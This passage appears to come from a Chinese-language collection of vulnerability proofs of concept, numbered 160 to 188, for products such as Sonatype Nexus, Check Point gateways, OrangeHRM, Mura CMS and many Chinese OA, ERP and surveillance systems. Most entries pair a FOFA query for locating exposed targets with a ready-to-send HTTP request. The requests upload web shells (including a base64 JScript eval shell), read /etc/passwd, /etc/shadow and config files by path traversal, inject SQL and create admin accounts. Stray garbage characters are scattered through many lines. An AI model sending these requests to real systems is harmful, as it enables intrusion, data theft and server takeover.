; o& ]1 t% r1 y; hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
( ]7 |% q8 j' lAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
# }1 o6 B: U2 X2 l0 c% Q! P- W
( a. O# C! [5 h* S<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
1 P" V0 B, m. H. u<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
) z4 _- Q, w1 E# G<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
. [2 m+ y( N- Q7 \</jobUpload>
; S8 X* h, {# b# G7 L' k9 i</soap:Body>
</soap:Envelope>
- Y! ]" [" x$ `! G) C! ?
4 V4 b, ]% z7 ~0 e2 f
$ E( [* Y+ T) z4 I+ m/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
! u* G$ V* f) O  X- V  e

0 ^( M) T! d- j160. Sonatype Nexus Repository 3目录遍历与文件读取
$ g1 i/ ]; v  S: uCVE-2024-4956
. y  i' A0 p; s5 w9 p7 zFOFA：title="Nexus Repository Manager"
9 j* Q! C' c9 N( ?: P* bGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
+ U) Y; D! f& [5 I, }6 n. p/ v) ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
# V' ^) w! n  J2 K, M# jConnection: close
8 I, X0 p2 s: T, `# c. oAccept: */*
Accept-Language: en
0 G9 @, c8 _5 g/ U+ h4 H% `Accept-Encoding: gzip
  ?6 u  D7 l0 w9 e" u( c  S
: ?4 |& n& T$ d( T; h) k* U; @
- p& v& P  x: M+ p! {: w1 m6 [161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
0 N5 c6 y0 L; x( FFOFA：body="/KT_Css/qd_defaul.css"
; ^( z9 n6 ~/ s+ r+ `( A8 p第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
: S5 j  H/ F5 w# ?  Q: PPOST /Webservice.asmx HTTP/1.1
- ]5 m9 u. @$ `  ^. |Host: x.x.x.x
7 E+ H/ I! ]* j4 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

, K( N2 o6 X/ ~. s1 C<?xml version="1.0" encoding="utf-8"?>
/ H3 H% Y) Y2 O3 K' M<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
. `5 b8 p! \& i! @xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
2 I; c, k6 F' z3 k# c$ f2 C2 Z9 Q2 ^<soap:Body>
$ R% y+ a7 M" v& c0 _- g8 X- V<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
" E; _' M6 J' d2 y; F* y5 t<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
1 j+ h7 s4 e: x8 H) P, V</soap:Body>
2 p8 F" ~; A# C: p" W& M</soap:Envelope>

1 N. o/ p# P' ~" k" g( Y( k! m
http://x.x.x.x/dizxdell.aspx

" G6 A5 w" l% l3 o1 |1 F162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
# [: N' O: Y# n% X& ~FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# w% W2 S; ~* P4 y1 y0 c- X* qConnection: close
' j# Q4 O# r$ b( t& _+ I, YContent-Length: 583
% E4 J% M) X4 u' f2 A6 _1 d( XContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

' O! f9 K' s. d1 U------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
; P9 w  [3 h' y* L: \) ?6 \Content-Type: application/octet-stream
1 d6 m2 Q- k' F3 Q' [1 C5 X
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
+ F) g' d) n+ m: b9 v9 Q# i
upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
6 i8 L+ i- O8 P
4 y+ E: n* u4 X' {ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
1 o3 ~0 U, H! T3 w8 ?3 u- yContent-Disposition: form-data; name="remotePath"
  L  a  c8 x$ ]4 m" Q. q/ j$ g3 b, @
7 @* ~) [/ i$ [. y% C" u/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
% U5 j1 Z) E8 n$ m) iFOFA: icon_hash="-795291075"
3 Q. T/ D6 O5 ]6 g* s# l  q1 X+ KPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
0 z; G" ~) |! l2 E0 CHost: x.x.x.x
" i. B! L- Q6 Q' MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
0 J* }9 ~/ D" d$ r5 s; L. TContent-Length: 293
Accept: */*
5 L$ f3 _/ O: F0 {1 I7 D) LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1 O8 _* v! t1 F" G  \1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
$ b$ [# p6 g$ l
rvjhvbhwwuooyiioxega
# J% H2 L9 ]) `& D% o------iiqvnofupvhdyrcoqyuujyetjvqgocod--

; @& R  W5 b8 B' j2 D
" Y: D; D) p0 `+ e+ ?164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
. s" E2 Y  m! ^; M/ [# WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
- w( m# I2 r0 C/ u# ?' AAccept: application/json, text/javascript, */*; q=0.01
2 I+ l( ~8 |* s( Q8 `0 s& v( iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
7 }- p. Z! b6 }. [1 P% a/ ?" bContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
* J! |6 h" X% G# mX-Requested-With: XMLHttpRequest
0 q# ^+ u- N3 q. l$ ^/ C' {9 mAccept-Encoding: gzip
8 n$ H( B9 z3 d+ F+ H
/ y5 h3 j! D. {6 F9 V' e" U------dqdaieopnozbkapjacdbdthlvtlyl
0 D6 f" O3 y. B) Q( X" [0 gContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
6 y( y0 B8 c) L% w! f" W2 }1 T, G* v. o
$ ^% s+ Q: T& _/ n$ N3 R0 s5 ~8 J<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--

1 L/ S' W% x& H  I
  `, {% E  M5 A2 dhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
7 j$ i2 L' J5 z  h0 dURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
  `) d0 k( v8 x' R5 T

166. 中成科信票务管理平台SeatMapHandler SQL注入
4 }  t( v1 p% M$ |* |FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
! ~+ h/ c2 `& {Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
4 K5 q9 _5 C; R( dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" m: c* S/ s$ L7 |Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
9 ?6 V" F* {5 r5 cCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
$ c" l$ l* W& L8 `7 W3 L4 SContent-Type: application/x-www-form-urlencoded
; `1 S% ^/ _$ M: T* H; qContent-Length: 89
! }6 U1 a, ?; l3 z4 X% F
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

% W3 z* G8 N: r7 C6 j( B- v! \% X
" w1 c' a2 N2 b8 A) H' [167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
* F6 O6 `" u1 i8 vGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
7 b+ H. Z! }7 `, F4 ?Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 k8 D# j9 X8 Q  x8 z9 m  nAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
/ r5 k; b, M3 F' D. W5 i3 ]FOFA：app="HJSOFT-HCM"
9 {8 V8 d/ y  g+ `5 k2 ]* l' x. dGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
# t8 R+ U% u/ p. b) ~4 PContent-Type: application/x-www-form-urlencoded
Connection: close

( ]% k9 n! U( o: z1 |

4 ?7 L& W- ~. J5 N2 {169. 宏景EHR downlawbase SQL注入
& q8 o- U% i  W  o* _# X: {FOFA：app="HJSOFT-HCM"
6 a5 T& O# U3 Q" C+ e0 X4 r1 ?GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
" [2 W! K7 _7 k1 Z3 |1 JAccept-Encoding: gzip, deflate
Connection: close


3 k3 C, s0 X" I, V6 d+ s; j* X8 u6 {( _
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
' D4 w! u2 {5 _7 v6 yHost: balalanengliang
5 e  }% K0 K; i+ z: V3 pUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 ?# d) m& H1 [! D  K1 M% sContent-Type: application/x-www-form-urlencoded
; Y* M* O% Q" \9 a" }$ O2 y
) C3 z/ H2 L& \# r* |, b5 W/ r: b2 `filename=../webapps/ROOT/WEB-INF/web.xml

- A: m& E5 W3 n8 ^8 v" U
171. 通天星CMSV6车载定位监控平台 SQL注入
6 G/ C. ~/ T6 |7 K5 I7 iFOFA：body="/808gps/"
: g  [  `$ Y! d. uGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
+ Q& q9 e  g, eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
7 |! z3 Y$ d, ~Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
$ P  [8 v, v/ y$ n% {7 AConnection: close


: s0 }7 h4 ~  n1 I2 h
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
+ ?( R( ]5 ]% `5 n  MGET /../../../../etc/passwd HTTP/1.1
" N) q4 n" G- S& u+ a" FHost: your-ip
6 l) o/ l3 m. a: L0 i! JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
' e2 ]' r) C- t# }0 MAccept: */*
) D$ E3 u; @1 f8 G# @Connection: keep-alive



4 F! v! w  ?7 b! H173. Check Point 安全网关任意文件读取
CVE-2024-24919
6 L4 ?3 P) _( [( f: XFOFA：app="Check_Point-SSL-Network-Extender"
* k5 N7 w, `' ~POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
4 V. Q0 o: E6 [* Y7 {
aCSHELL/../../../../../../../etc/shadow

  i- T/ {0 U9 p8 S8 f' k, T

# S4 }  j4 u7 L, I174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
- h" N. A/ Z9 ~8 [3 U# t' _Host: your-ip
0 ]" m! R/ K; X1 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 k) Y. U% @6 s" a! a) {Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

" i$ i6 }/ l- w- m, q
  L$ Z* [- L' e% Q0 I
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
2 s- W% |: e  S! P* P) s( {, kHost:
3 o; W  N% J  e/ W- F; OUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# i6 e9 V; O9 X- b0 \5 Q" @! vConnection: close
Upgrade-Insecure-Requests: 1


/ J2 Z% `9 B3 F176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
5 u: J- u# i8 U" R4 K- h7 Y7 hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. |7 \  S+ _+ P' R( HContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
7 L6 H! a7 l+ g0 o) hConnection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
3 A: L) A' z" j* CContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
) U# |4 }% Q5 d7 GContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
2 H) d, p& b0 x3 O% @( ]. D% r
. Q7 v' x1 F- r$ e! N
" E; X+ l0 o9 E- B
, X( Z7 P. |" R0 @, J9 e8 b# c177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
0 e- I/ t- {" O1 v* L9 _, Y" R" f/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
! F% d4 ~  x0 ]+ M  g6 i) b/userLogin.asp/../actionpolicy_status/../GR5200.cfg
( P) v- |- e$ y! c9 B7 j/userLogin.asp/../actionpolicy_status/../GR3200.cfg
9 U6 e( k+ n% w) I  [9 A/userLogin.asp/../actionpolicy_status/../GR2200.cfg
! `* p- z  j" T0 d/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
3 Z5 z8 w8 s) K+ l1 Z/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
7 Q; a2 @* n* I/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
& Z9 H/ _( ]! ~/ r. J8 Q/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
( z- E& j* d7 R- s/userLogin.asp/../actionpolicy_status/../ER3260.cfg
* {8 {; ~! t4 {  \) l# `4 r/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
& ?8 V! U9 m$ }6 S$ @8 i) `* H0 |$ y/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
! L2 _0 @7 }) F/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
# D+ Q% e9 p8 ]/userLogin.asp/../actionpolicy_status/../ER3100.cfg
! y7 Q9 `+ q; [- r" z/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

" A& H- Z+ y# b
, _; g$ y% O0 b" i2 K$ w% b$ r178. H3C校园网自助服务系统-flexfileupload-任意文件上传
) K6 W! ~5 ~# {FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
$ T. ^9 ~- M, `, M4 J1 J( {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
! \1 g4 H& G7 A; v6 t1 [" CConnection: close
5 i* U! C4 I0 D: R$ q8 p0 EContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
/ r9 P2 a4 k6 r$ c9 F* z-----------------aqutkea7vvanpqy3rh2l
) d4 n0 \# k3 A. xContent-Disposition: form-data; name="12234.txt"; filename="12234"
, [2 s0 Q) d& E& t' ZContent-Type: application/octet-stream
; F% H: o5 z' s  x4 _9 W4 f# v6 z) ~Content-Length: 255

2 o. T6 K8 W+ Z* N8 k12234
-----------------aqutkea7vvanpqy3rh2l--
  S  Z# a" H9 s$ g& x: Z9 P' W

: Q9 l: a7 q& XGET /imc/primepush/%2e%2e/flex/12234.txt


: }0 @5 C7 S1 `! A; W179. 建文工程管理系统存在任意文件读取
( z8 d1 o% F4 @POST /Common/DownLoad2.aspx HTTP/1.1
7 f3 e" G8 D4 [9 N- wHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- M* T( m' \' S5 J* `User-Agent: Mozilla/5.0

path=../log4net.config&Name=

" `, L4 P0 e+ x
180. 帮管客 CRM jiliyu SQL注入
4 b% F; [" f& b  \0 s8 Z1 B& h3 J5 @FOFA：app="帮管客-CRM"
! G# H% N! e7 D4 e' ^- S% VGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 h& R' M4 z: NAccept-Language: zh-CN,zh;q=0.9
Connection: close


2 k6 i7 G& H8 k1 ~$ t: E( u181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' }" S- g  s$ g8 _+ OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
4 ]/ l3 l% r2 bAccept-Language: zh-CN,zh;q=0.9
! R$ E9 ]! l# }& ^Connection: close
2 ~( P$ @. X: m& V% ^Content-Type: application/x-www-form-urlencoded
( b' \- _* a  Q5 C' q

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

$ _' a8 P- C* X& U
. _2 U4 U5 f  S5 g- l- U) u* V182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
2 u) D9 s8 e% L! t  [Accept-Language: zh-CN,zh;q=0.9
Connection: close
5 L3 T- l1 x! d/ lContent-Type: application/x-www-form-urlencoded
% U+ J4 U! g3 O! U* ]% \" G

+ @) ^# Y  @1 }! \* f9 ^username=test1234&pwd=test1234&savedays=1
( I; e  v7 Y% k* M
) d  ^8 ]0 y7 \* U2 E6 i
' U* P7 |7 k3 q6 R183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
; B" u: v/ d1 d4 t6 k6 Q+ T  I& y0 ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
0 m' ]. R: Z9 R! ]. N9 BAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
/ b" o0 t# D; D3 r/ b$ J$ n" L- [* nConnection: close


- p  G8 \+ x/ q3 F184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
$ K0 j3 @2 D& I( U. Q9 \  aHost: your-ip
, `2 r% ^3 J4 Z' W$ \$ i2 J4 \7 I( DAccept-Encoding: gzip, deflate
- L$ |3 B1 b) ]3 J3 H5 W4 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& U- A9 n; j, i2 l  EAccept: application/xml, text/xml, */*; q=0.01
! v! l9 J) b. g) _6 [+ Q3 pContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) [0 P: W3 T* G# ~, \" RX-Requested-With: XMLHttpRequest

1 ?) E' Z% x& _9 B$ H
6 h+ k; n  h$ {/ ^: b, D3 uinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
, R2 h2 G: s7 M0 G# q* y

/ X0 s: r; ?9 g/ F2 F: k1 w$ s9 N' D185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
2 D3 L3 z6 O$ `+ `FOFA：app="REALOR-天翼应用虚拟化系统"
- _! `9 x/ Z# vGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
- q" t2 Z7 f0 O8 s, z5 y: ?Host: host

6 r2 `( c% u) d& d+ n0 F. O3 Z4 _
7 X6 H. m5 @9 T: B4 Q186. F-logic DataCube3 SQL注入
( d6 j# x7 Y1 V( t: C4 JCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
, h& T# T, I% h% S' p/ A1 YFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
' ^5 P( j2 y% pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! T. }: a; X# {- HAccept-Encoding: gzip, deflate
Connection: close
/ D) _6 b2 O* i# m2 h: vContent-Type: application/x-www-form-urlencoded

. \: [0 E" `6 P% D, Hreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
6 T( U1 B7 |" P$ E4 A, \5 g

187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

9 K2 E5 h% Q- @7 Z( ?0 x( p; {
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
8 X0 d) u: |8 X5 m3 B5 ]0 IFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
) o, M9 o- s, n: e+ o( |5 b+ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, f5 h1 D% N) u1 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( ~* V4 z. E0 {9 vAccept-Encoding: gzip, deflate
